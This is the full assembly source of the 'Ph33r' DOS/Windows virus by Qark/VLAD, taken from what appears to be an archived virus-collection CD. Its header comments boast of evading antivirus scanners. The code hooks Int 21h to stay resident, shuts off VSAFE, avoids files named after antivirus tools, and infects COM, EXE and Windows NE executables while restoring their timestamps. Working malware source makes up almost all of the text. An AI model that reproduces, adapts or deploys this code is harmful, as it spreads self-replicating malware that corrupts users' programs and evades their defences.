home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / WINVCOLL.ZIP / WINMADEF.ZIP / PH33R.ZIP / PH33R.A86 next >
Text File  |  1995-07-25  |  22KB  |  829 lines

  1. ;
  2. ;
  3. ;                        Ph33r
  4. ;
  5. ;                      Qark/VLAD
  6. ;
  7. ;
  8. ;
  9. ; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
  10. ; files.
  11. ; The technology of the Windows infection is superior to 'Winsurfer'
  12. ; in that the virus goes directly resident, without having to mess around
  13. ; infecting the Windows 'shell'.  The Windows entry of the virus allocates
  14. ; memory, points a selector to it, copies the virus into the space and
  15. ; sets interrupt 21h to the resident virus.  By careful programming it was
  16. ; possible to make both the DOS and Win interrupt handlers share the same
  17. ; code.
  18. ;
  19. ; The virus does a few interesting things:
  20. ;       Disables MSAV by turning it off (DOS)
  21. ;       Gets the original Int 21h using DOSSEG:109Eh (DOS)
  22. ;       Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
  23. ;
  24. ; A few annoying things:
  25. ;       If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
  26. ;       If the virus infects WIN386.EXE Windows crashes on load.
  27. ; These have both been fixed, by removal.
  28. ;
  29. ; For some unknown reason, the virus causes Debug to crash on exit.
  30. ; I haven't fixed this, because I figure anyone who uses Debug will spot
  31. ; the virus anyway.  Besides which, I haven't got a clue why it's happening :)
  32. ;
  33. ; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
  34. ; heuristically.
  35. ;
  36.  
  37.         org     0
  38.  
  39. com_entry:                              ;COM files begin execution here.
  40.         call    exec_start
  41.         push    es
  42.         pop     ds
  43.  
  44.         ;COM file exit.
  45.  
  46.         mov     di,100h
  47.         push    di
  48.  
  49.         db      0b8h                    ;MOV AX,xxxx
  50. old2    dw      20cdh
  51.         stosw
  52.         db      0b8h                    ;MOV AX,xxxx
  53. old4    dw      0
  54.         stosw
  55.         
  56.         xor     ax,ax
  57.         xor     bx,bx
  58.         xor     cx,cx
  59.         xor     dx,dx
  60.         xor     si,si
  61.         xor     di,di
  62.         ret
  63.  
  64. exe_entry:                              ;EXE files begin execution here.
  65.         call    exec_start
  66.         push    es
  67.         pop     ds
  68.         
  69.         ;Setup ss:sp
  70.         mov     ax,ds
  71.         add     ax,10h
  72.         db      5                       ;ADD AX,xxxx
  73. old_ss  dw      0
  74.         mov     ss,ax
  75.         db      0bch                    ;MOV SP,xxxx
  76. old_sp  dw      0
  77.  
  78.         ;setup the return
  79.         mov     ax,ds
  80.         add     ax,10h
  81.         db      5                       ;ADD AX,xxxx
  82. exe_cs  dw      0
  83.         push    ax
  84.         db      0b8h                    ;MOV AX,xxxx
  85. exe_ip  dw      0
  86.         push    ax
  87.         xor     ax,ax
  88.         xor     bx,bx
  89.         xor     cx,cx
  90.         xor     dx,dx
  91.         xor     si,si
  92.         xor     di,di
  93.         retf
  94.  
  95. Exec_Start:
  96.         
  97.         cld
  98.         mov     ax,51ffh                ;Test resident.
  99.         int     21h
  100.         cmp     ax,0ff51h
  101.         je      exit_virus
  102.  
  103.         mov     ax,0fa02h               ;Kill VSAFE.
  104.         mov     dx,5945h                ;Every DOS6+ user has a copy of this.
  105.         xor     bl,bl
  106.         int     16h
  107.         
  108.         mov     ax,ds
  109.         dec     ax
  110.         mov     ds,ax                   ;MCB seg in DS.
  111.         xor     di,di
  112.         cmp     byte ptr [di],'Y'       ;Z block ?
  113.         ja      allocate
  114. exit_virus:
  115.         ret
  116. allocate:
  117.         sub     word ptr [di+3],(offset virus_size*2/16)+1
  118.         sub     word ptr [di+12h],(offset virus_size*2/16)+1
  119.         mov     ax,word ptr [di+12h]
  120.  
  121.         push    es
  122.         mov     es,ax
  123.         push    cs
  124.         pop     ds
  125.         mov     cx,offset virus_size
  126.  
  127.         ;Get delta offset in SI
  128.         call    next
  129. next:
  130.         pop     si
  131.         sub     si,offset next
  132.  
  133.         ;Move virus to free memory.
  134.         rep     movsb
  135.  
  136.         mov     ds,cx                   ;DS=CX=0 from REP MOVSB
  137.  
  138.         ;Set int21h
  139.         mov     si,21h*4
  140.         mov     di,offset i21
  141.         push    si
  142.         movsw
  143.         movsw
  144.         pop     si
  145.         mov     di,offset orig21
  146.         movsw
  147.         movsw
  148.  
  149.         mov     word ptr [si-4],offset int21handler
  150.         mov     word ptr [si-2],es
  151.  
  152.         push    es
  153.         mov     ah,52h                  ;Thanx Neurobasher!
  154.         int     21h
  155.         mov     ax,es
  156.         pop     es
  157.         mov     ds,ax
  158.  
  159.         mov     si,109eh                ;DS:109Eh = Original Int 21 I hope.
  160.         lodsw
  161.         cmp     ax,9090h
  162.         jne     reset21
  163.         lodsb
  164.         cmp     al,0e8h
  165.         jne     reset21
  166.         mov     word ptr es:orig21,10a0h
  167.         mov     word ptr es:orig21+2,ds
  168. reset21:
  169.         pop     es
  170.         ret
  171.  
  172.         db      '=Ph33r='
  173.  
  174. win21:                          ;Windows interrupt handling begins here.
  175.         cmp     ax,51feh
  176.         jne     non_w_res
  177.         xchg    al,ah
  178.         iret
  179. non_w_res:
  180.         cmp     ax,4b00h                ;Execute.
  181.         je      check_infect
  182.         cmp     ah,3dh                  ;File Open.
  183.         je      check_infect
  184.         cmp     ah,56h                  ;Rename.
  185.         je      check_infect
  186.         cmp     ah,43h                  ;Chmod.
  187.         jne     int_exit
  188.  
  189. check_infect:
  190.         pushf
  191.         pusha
  192.         push    ds
  193.         push    es
  194.         
  195.         mov     ax,0ah                  ;This function makes our CS writable.
  196.         mov     bx,cs
  197.         int     31h
  198.         mov     es,ax
  199.  
  200.         call    setup_infect
  201.  
  202.         pop     es
  203.         pop     ds
  204.         popa
  205.         popf
  206.         
  207.         jmp     int_exit
  208.  
  209. int21handler:                           ;DOS interrupt handling begins here.
  210.         cmp     ax,51ffh
  211.         jne     non_res
  212.         xchg    al,ah
  213.         iret
  214.  
  215.         db      'Qark/VLAD'
  216.  
  217. non_res:
  218. ;For some reason, checking for AH=3dh crashes windows when its booting.
  219.  
  220.         cmp     ax,4b00h                ;Execute.
  221.         je      do_file
  222.         cmp     ah,6ch                  ;Open.
  223.         je      do_file
  224.         cmp     ah,56h                  ;Rename.
  225.         je      do_file
  226.         cmp     ah,43h                  ;Chmod.
  227.         je      do_file
  228.  
  229. int_exit:
  230.         db      0eah
  231. i21     dd      0
  232.  
  233. do_file:
  234.         push    es
  235.         push    dx
  236.         cmp     ah,6ch
  237.         jne     no_6c_fix
  238.         mov     dx,si
  239. no_6c_fix:
  240.         push    cs
  241.         pop     es
  242.         call    setup_infect
  243.         pop     dx
  244.         pop     es
  245.                 
  246.         jmp     int_exit
  247.  
  248. setup_infect:
  249. ;on entry to this call, es=writable cs
  250. ;ds:dx=filename
  251.         pushf
  252.         push    ax
  253.         push    bx
  254.         push    cx
  255.         push    dx
  256.         push    si
  257.         push    di
  258.         push    ds
  259.         push    es
  260.         cld
  261.         mov     si,dx
  262. asciiz:
  263.         lodsb
  264.         cmp     al,0
  265.         jne     asciiz
  266.         sub     si,4
  267.         lodsw
  268.         or      ax,2020h
  269.         cmp     ax,'xe'                 ;EXE
  270.         je      do_inf
  271.         cmp     ax,'ld'                 ;DLL
  272.         je      do_inf
  273.         cmp     ax,'oc'                 ;COM
  274.         jne     not_name
  275. do_inf:
  276.         cmp     word ptr [si-5],'68'    ;Dont infect WIN386.EXE (hangs)
  277.         je      not_name
  278.         mov     ax,word ptr [si-5]
  279.         or      ax,2020h                ;Lowercase.
  280.         cmp     ax,'va'                 ;Don't touch files that end in AV
  281.         je      not_name                ;eg TBAV
  282.         cmp     ax,'vd'                 ;DV.COM checks DV.EXE
  283.         je      not_name
  284.         cmp     ax,'na'                 ;Don't touch files that end in AN
  285.         je      not_name                ;eg SCAN, TBSCAN
  286.         cmp     ax,'to'                 ;Don't touch files that end in OT
  287.         je      not_name                ;eg F-PROT
  288.  
  289.         call    infect
  290. not_name:
  291.         pop     es
  292.         pop     ds
  293.         pop     di
  294.         pop     si
  295.         pop     dx
  296.         pop     cx
  297.         pop     bx
  298.         pop     ax
  299.         popf
  300.  
  301.         ret
  302.  
  303. Infect:
  304. ;DS:DX=Filename, ES=our data segment
  305.         cld
  306.         mov     ax,3d02h                ;Open file to be infected.
  307.         call    int21h
  308.         jnc     file_opened
  309.         ret
  310. file_opened:
  311.         xchg    bx,ax                   ;File handle into BX.
  312.         push    es
  313.         pop     ds
  314.   
  315.         mov     ah,3fh                  ;Read from file.
  316.         mov     cx,512
  317.         mov     dx,offset virus_size
  318.         call    int21h
  319.  
  320.         mov     si,offset virus_size
  321.         
  322.         mov     ax,word ptr [si]
  323.         or      ax,2020h
  324.         cmp     ax,'zm'                 ;Test for EXE header
  325.         je      check_exe
  326.         jmp     com_infect
  327. check_exe:
  328.         cmp     word ptr [si+12h],0afafh        ;Infection marker.
  329.         jne     not_infected
  330. bad_mem:
  331.         jmp     com_end
  332. not_infected:
  333.         cmp     word ptr [si+18h],40h           ;Windows executable.
  334.         jb      exe_infect
  335.         jmp     windows_infect
  336. exe_infect:
  337.         cmp     word ptr [si+0ch],-1            ;Maxmem = All
  338.         jne     bad_mem
  339.         
  340.         call    lseek_end                       ;Get file length in DX:AX
  341.         or      dx,dx
  342.         jnz     ok_exe_size
  343.         cmp     ax,1000
  344.         jb      bad_mem
  345. ok_exe_size:
  346.         mov     cx,512
  347.         div     cx
  348.         inc     ax
  349.         cmp     [si+4],ax                       ;Check for overlays.
  350.         ja      bad_mem
  351.  
  352.         mov     ax,word ptr [si+0eh]            ;Save the original SS:SP
  353.         mov     word ptr old_ss,ax
  354.         mov     ax,word ptr [si+10h]
  355.         mov     word ptr old_sp,ax
  356.  
  357.         mov     ax,word ptr [si+14h]            ;Save the original CS:IP
  358.         mov     word ptr exe_ip,ax
  359.         mov     ax,word ptr [si+16h]
  360.         mov     word ptr exe_cs,ax
  361.  
  362.         call    lseek_end
  363.         mov     cx,16
  364.         div     cx
  365.  
  366.         sub     ax,word ptr [si+8]
  367.         add     dx,offset exe_entry
  368.         mov     word ptr [si+14h],dx    ;New IP
  369.         mov     word ptr [si+16h],ax    ;New CS
  370.         
  371.         dec     ax
  372.         mov     word ptr [si+0eh],ax
  373.         add     dx,1500
  374.         and     dx,0fffeh
  375.         mov     word ptr [si+10h],dx
  376.  
  377.         call    save_time
  378.  
  379.         mov     cx,offset virus_size
  380.         mov     ah,40h
  381.         xor     dx,dx
  382.         call    int21h
  383.  
  384.         call    lseek_end
  385.  
  386.         mov     cx,512
  387.         div     cx
  388.         or      dx,dx
  389.         jz      no_page_fix
  390.         inc     ax
  391. no_page_fix:
  392.         mov     word ptr [si+4],ax
  393.         mov     word ptr [si+2],dx
  394.         call    lseek_start
  395.         
  396.         mov     word ptr [si+12h],0afafh        ;Set infection marker.
  397.         mov     ah,40h
  398.         mov     dx,si
  399.         mov     cx,1ch
  400.         call    int21h
  401.  
  402.         call    restore_time
  403.  
  404.         jmp     com_end
  405.  
  406. com_infect:
  407.         cmp     byte ptr [si+3],0afh    ;Com infection marker.
  408.         je      com_end
  409.  
  410.         ;Save first four com file bytes.
  411.         mov     di,offset old2
  412.         movsw
  413.         mov     di,offset old4
  414.         movsw
  415.         
  416.         mov     ax,4202h                ;Lseek to file end.
  417.         xor     cx,cx
  418.         cwd
  419.         call    int21h
  420.  
  421.         or      dx,dx                   ;Check if > 64k
  422.         jnz     com_end
  423.         cmp     ax,60000                ;Check if > 60000
  424.         ja      com_end
  425.         cmp     ax,1024
  426.         jb      com_end
  427.  
  428.         sub     ax,3
  429.         mov     word ptr com_jmp+1,ax
  430.  
  431.         call    save_time
  432.  
  433.         mov     ah,40h                  ;Write virus body to file.
  434.         mov     cx,offset virus_size
  435.         xor     dx,dx
  436.         call    int21h
  437.         jc      com_end
  438.  
  439.         mov     ax,4200h                ;Lseek to file start.
  440.         xor     cx,cx
  441.         cwd
  442.         call    int21h
  443.  
  444.         mov     ah,40h                  ;Write jump to start of file.
  445.         mov     cx,4
  446.         mov     dx,offset com_jmp
  447.         call    int21h
  448.  
  449. com_time_end:
  450.         call    restore_time
  451.  
  452. com_end:
  453.         mov     ah,3eh                  ;Close file.
  454.         call    int21h
  455.  
  456.         ret
  457.  
  458. windows_infect:
  459.  
  460.         ;Move the Newexe pointer forward.
  461.         push    word ptr [si+3ch]
  462.         pop     word ptr newexe_off
  463.  
  464.         sub     word ptr [si+3ch],8
  465.         cmp     word ptr [si+3eh],0     ;Dont want any NE headers at off >64k
  466.         jne     com_end
  467.         
  468.         mov     word ptr [si+12h],0afafh        ;Set infection marker.
  469.         
  470.         ;Lseek back to start of the file.
  471.         mov     ax,4200h
  472.         xor     cx,cx
  473.         cwd
  474.         call    int21h
  475.  
  476.         call    save_time
  477.  
  478.         ;Write header back.
  479.         mov     ah,40h
  480.         mov     cx,512
  481.         mov     dx,offset virus_size
  482.         call    int21h
  483.         
  484.         jc      com_end
  485.  
  486.         ;Lseek to new exe header
  487.         mov     ax,4200h
  488.         mov     dx,word ptr newexe_off
  489.         xor     cx,cx
  490.         call    int21h
  491.  
  492.         ;Read in new exe header
  493.         mov     ah,3fh
  494.         mov     cx,512
  495.         mov     dx,offset virus_size
  496.         call    int21h
  497.  
  498.         ;Adjust header pointers
  499.         mov     ax,word ptr [si+22h]    ;AX=Segment table offset.
  500.         cmp     word ptr [si+4],ax
  501.         jb      ok_et
  502.         add     word ptr [si+4],8
  503. ok_et:
  504.         cmp     word ptr [si+24h],ax
  505.         jb      ok_rt
  506.         add     word ptr [si+24h],8
  507. ok_rt:
  508.         cmp     word ptr [si+26h],ax
  509.         jb      ok_rnt
  510.         add     word ptr [si+26h],8
  511. ok_rnt:
  512.         cmp     word ptr [si+28h],ax
  513.         jb      ok_mrt
  514.         add     word ptr [si+28h],8
  515. ok_mrt:
  516.         cmp     word ptr [si+2ah],ax
  517.         jb      ok_int
  518.         add     word ptr [si+2ah],8
  519. ok_int:
  520.         mov     ax,word ptr [si+1ch]
  521.         inc     word ptr [si+1ch]       ;Increase segment count.
  522.         xor     dx,dx
  523.         mov     cx,8
  524.         mul     cx
  525.  
  526.         add     ax,word ptr [si+22h]    ;AX=Offset of segment table end.
  527.         adc     dx,0
  528.         mov     cx,512                  ;512 byte portions are used
  529.                                         ; for the reads later on.
  530.         div     cx
  531.  
  532.         mov     word ptr ne_size,ax
  533.         mov     word ptr last_ne,dx
  534.  
  535.         ;Put the original CS:IP into our relocation table.
  536.         push    word ptr [si+14h]
  537.         pop     word ptr old_ip
  538.         push    word ptr [si+16h]
  539.         pop     word ptr old_cs
  540.  
  541.         ;Save the alignment shift count because we need that for calculating
  542.         ;the offset of our segment when writing the segment entry.
  543.         push    word ptr [si+32h]
  544.         pop     word ptr al_shift
  545.  
  546.         ;Point CS:IP to the virus.
  547.         mov     word ptr [si+14h],offset win_entry      ;The new IP
  548.         mov     ax,word ptr [si+1ch]
  549.         mov     word ptr [si+16h],ax                    ;The new CS
  550.  
  551.         ;Initialise the lseek variable
  552.         push    word ptr newexe_off
  553.         pop     word ptr lseek
  554.  
  555.         ;The below code gets the NE header and keeps moving it forward by
  556.         ;eight bytes in 512 byte chunks.
  557. move_header_forward:
  558.         mov     ax,word ptr ne_size
  559.         or      ax,ax
  560.         jz      last_page
  561.  
  562.         dec     word ptr ne_size
  563.  
  564.         mov     ax,4200h                ;Lseek to our current position.
  565.         xor     cx,cx
  566.         mov     dx,word ptr lseek
  567.         sub     dx,8
  568.         call    int21h
  569.  
  570.         mov     ah,40h                  ;Write the header section out.
  571.         mov     cx,512
  572.         mov     dx,si
  573.         call    int21h
  574.  
  575.         add     word ptr lseek,512
  576.  
  577.         mov     ax,4200h                ;Lseek to the next chunk.
  578.         xor     cx,cx
  579.         mov     dx,word ptr lseek
  580.         call    int21h
  581.  
  582.         mov     ah,3fh                  ;Read it.
  583.         mov     dx,offset virus_size
  584.         mov     cx,512
  585.         call    int21h
  586.  
  587.         jmp     move_header_forward
  588.  
  589. last_page:
  590.         mov     ax,4202h                ;Lseek to end of file.
  591.         xor     cx,cx
  592.         cwd
  593.         call    int21h                  ;File length into DX:AX
  594.  
  595.         ;DX:AX=File offset of our segment
  596.         ;Below section shifts the segment offset right by the alignment
  597.         ;shift value.
  598.         mov     cl,byte ptr al_shift
  599.         push    bx
  600.         mov     bx,1
  601.         shl     bx,cl
  602.         mov     cx,bx
  603.         pop     bx
  604.         div     cx
  605.  
  606.         mov     word ptr lseek_add,0
  607.         or      dx,dx
  608.         jz      no_extra
  609.         sub     cx,dx
  610.         mov     word ptr lseek_add,cx
  611.         inc     ax
  612. no_extra:
  613.         mov     di,si
  614.         add     di,word ptr last_ne
  615.  
  616.         ;Adding the new segment table entry
  617.         mov     word ptr [di],ax        ;Segment offset
  618.         mov     word ptr [di+2],offset virus_size
  619.         mov     word ptr [di+4],180h    ;Segment attribute
  620.                                         ; 180h = NonMovable + Relocations
  621.         mov     word ptr [di+6],offset virus_size+512
  622.  
  623.         mov     ax,4200h                ;Lseek to next position.
  624.         xor     cx,cx
  625.         mov     dx,word ptr lseek
  626.         sub     dx,8
  627.         call    int21h
  628.  
  629.         mov     ah,40h          ;Write rest of NE header + new seg entry.
  630.         mov     cx,word ptr last_ne
  631.         add     cx,8            ;Added segment entry means eight more.
  632.         mov     dx,offset virus_size
  633.         call    int21h
  634.  
  635.         ;Reset the relocatable pointer.
  636.         push    word ptr winip
  637.         push    word ptr wincs
  638.         mov     word ptr winip,0
  639.         mov     word ptr wincs,0ffffh
  640.  
  641.         mov     ax,4202h                ;Lseek to end of file.
  642.         xor     cx,cx
  643.         mov     dx,word ptr lseek_add
  644.         call    int21h
  645.  
  646.         mov     ah,40h                  ;Write main virus body.
  647.         mov     cx,offset virus_size
  648.         xor     dx,dx
  649.         call    int21h
  650.  
  651.         pop     word ptr wincs
  652.         pop     word ptr winip
  653.  
  654.         mov     ah,40h                  ;Write the relocation item.
  655.         mov     cx,offset reloc_end - offset relocblk
  656.         mov     dx,offset relocblk
  657.         call    int21h
  658.  
  659.         jmp     com_time_end
  660.  
  661. int21h:                                 ;Simulated int 21 call.
  662.         pushf
  663.         call    dword ptr cs:orig21
  664.         ret
  665. orig21  dd      0
  666.  
  667. win_entry:                              ;WinEXE files begin execution here.
  668.         pusha
  669.         push    ds
  670.         push    es
  671.  
  672.         mov     ax,51feh                ;Residency test.
  673.         int     21h
  674.         cmp     ax,0ff51h
  675.         je      no_wintsr
  676.         
  677.         mov     ax,000ah                ;Make CS writable.
  678.         mov     bx,cs
  679.         int     31h                     ;Use DPMI.
  680.         mov     ds,ax
  681.  
  682.         mov     ax,0204h                ;Get real mode interrupt vector.
  683.         mov     bl,21h
  684.         int     31h
  685.  
  686.         mov     word ptr i21,dx         ;Save int21
  687.         mov     word ptr i21+2,cx
  688.  
  689.         mov     word ptr orig21,dx
  690.         mov     word ptr orig21+2,cx
  691.  
  692.         mov     ax,501h
  693.         xor     bx,bx                   ;Allocate Linear region
  694.         mov     cx,offset v_mem_size
  695.         int     31h
  696.  
  697.         push    bx
  698.         push    cx
  699.  
  700.         xor     ax,ax
  701.         mov     cx,1                    ;Create a Selector
  702.         int     31h
  703.  
  704.         mov     bx,ax
  705.         mov     ax,7
  706.         pop     dx                      ;Point selector to linear region.
  707.         pop     cx
  708.         int     31h
  709.  
  710.         mov     ax,8
  711.         xor     cx,cx                   ;Set selector limit
  712.         mov     dx,offset v_mem_size
  713.         int     31h
  714.  
  715.         mov     es,bx
  716.         mov     cx,offset v_mem_size
  717.         xor     si,si                   ;Copy virus to the linear region
  718.         xor     di,di
  719.         cld
  720.         rep     movsb
  721.  
  722.         mov     bx,es
  723.         mov     ax,9                    ;Set access rights to 'Code'
  724.         mov     cx,0ffh
  725.         int     31h
  726.  
  727.         mov     cx,es
  728.         mov     dx,offset win21
  729.         mov     ax,205h
  730.         mov     bl,21h
  731.         int     31h                     ;Set real mode interrupt vector.
  732.  
  733.         mov     ax,4
  734.         push    es
  735.         pop     bx                      ;Lock the selector
  736.         int     31h
  737.  
  738. no_wintsr:
  739.         pop     es
  740.         pop     ds
  741.         popa
  742.  
  743.         db      0eah                    ;Return to original file.
  744. winip   dw      0
  745. wincs   dw      0ffffh
  746.  
  747. ;-----------------------
  748. ;Infection Procedures
  749. ;-----------------------
  750. Save_Time:
  751.         push    ax
  752.         push    cx
  753.         push    dx
  754.  
  755.         mov     ax,5700h
  756.         call    int21h
  757.  
  758.         mov     word ptr time,cx
  759.         mov     word ptr date,dx
  760.  
  761.         pop     dx
  762.         pop     cx
  763.                                                                                 pop     ax
  764.         ret
  765.  
  766. Restore_Time:
  767.         push    ax
  768.         push    cx
  769.         push    dx
  770.  
  771.         db      0bah            ;MOV DX,xxxx
  772.         date    dw      0
  773.  
  774.         db      0b9h            ;MOV CX,xxxx
  775.         time    dw      0
  776.  
  777.         mov     ax,5701h
  778.         call    int21h
  779.  
  780.         pop     dx
  781.         pop     cx
  782.         pop     ax
  783.         ret
  784.  
  785. Lseek_Start:
  786.         mov     al,0
  787.         jmp     short lseek2
  788. Lseek_End:
  789.         mov     al,2
  790. lseek2:
  791.         mov     ah,42h
  792.         xor     cx,cx
  793.         cwd
  794.         call    int21h
  795.         ret
  796.  
  797. ;-----------------------
  798. ;Infection Data
  799. ;-----------------------
  800. ;Com infection data.
  801. com_jmp         db      0e9h,0,0,0afh
  802.  
  803. ;-----------------------
  804. ;Windows infection data.
  805. newexe_off      dw      0
  806. al_shift        dw      0
  807. ne_size         dw      0
  808. last_ne         dw      0
  809. lseek           dw      0
  810. lseek_add       dw      0
  811.  
  812. Relocblk:
  813.         dw      1       ;Number of relocation items
  814.  
  815.         db      3       ;32bit pointer relocation
  816.         db      4       ;Additive relocation
  817.         dw      offset winip
  818. old_cs  dw      0       ;The stored original CS & IP of host.
  819. old_ip  dw      0
  820.  
  821.  
  822. Reloc_end:
  823. ;-----------------------
  824.  
  825. virus_size:
  826.         db      512 dup (0)     ;Storage buffer.
  827. v_mem_size:
  828.  
  829.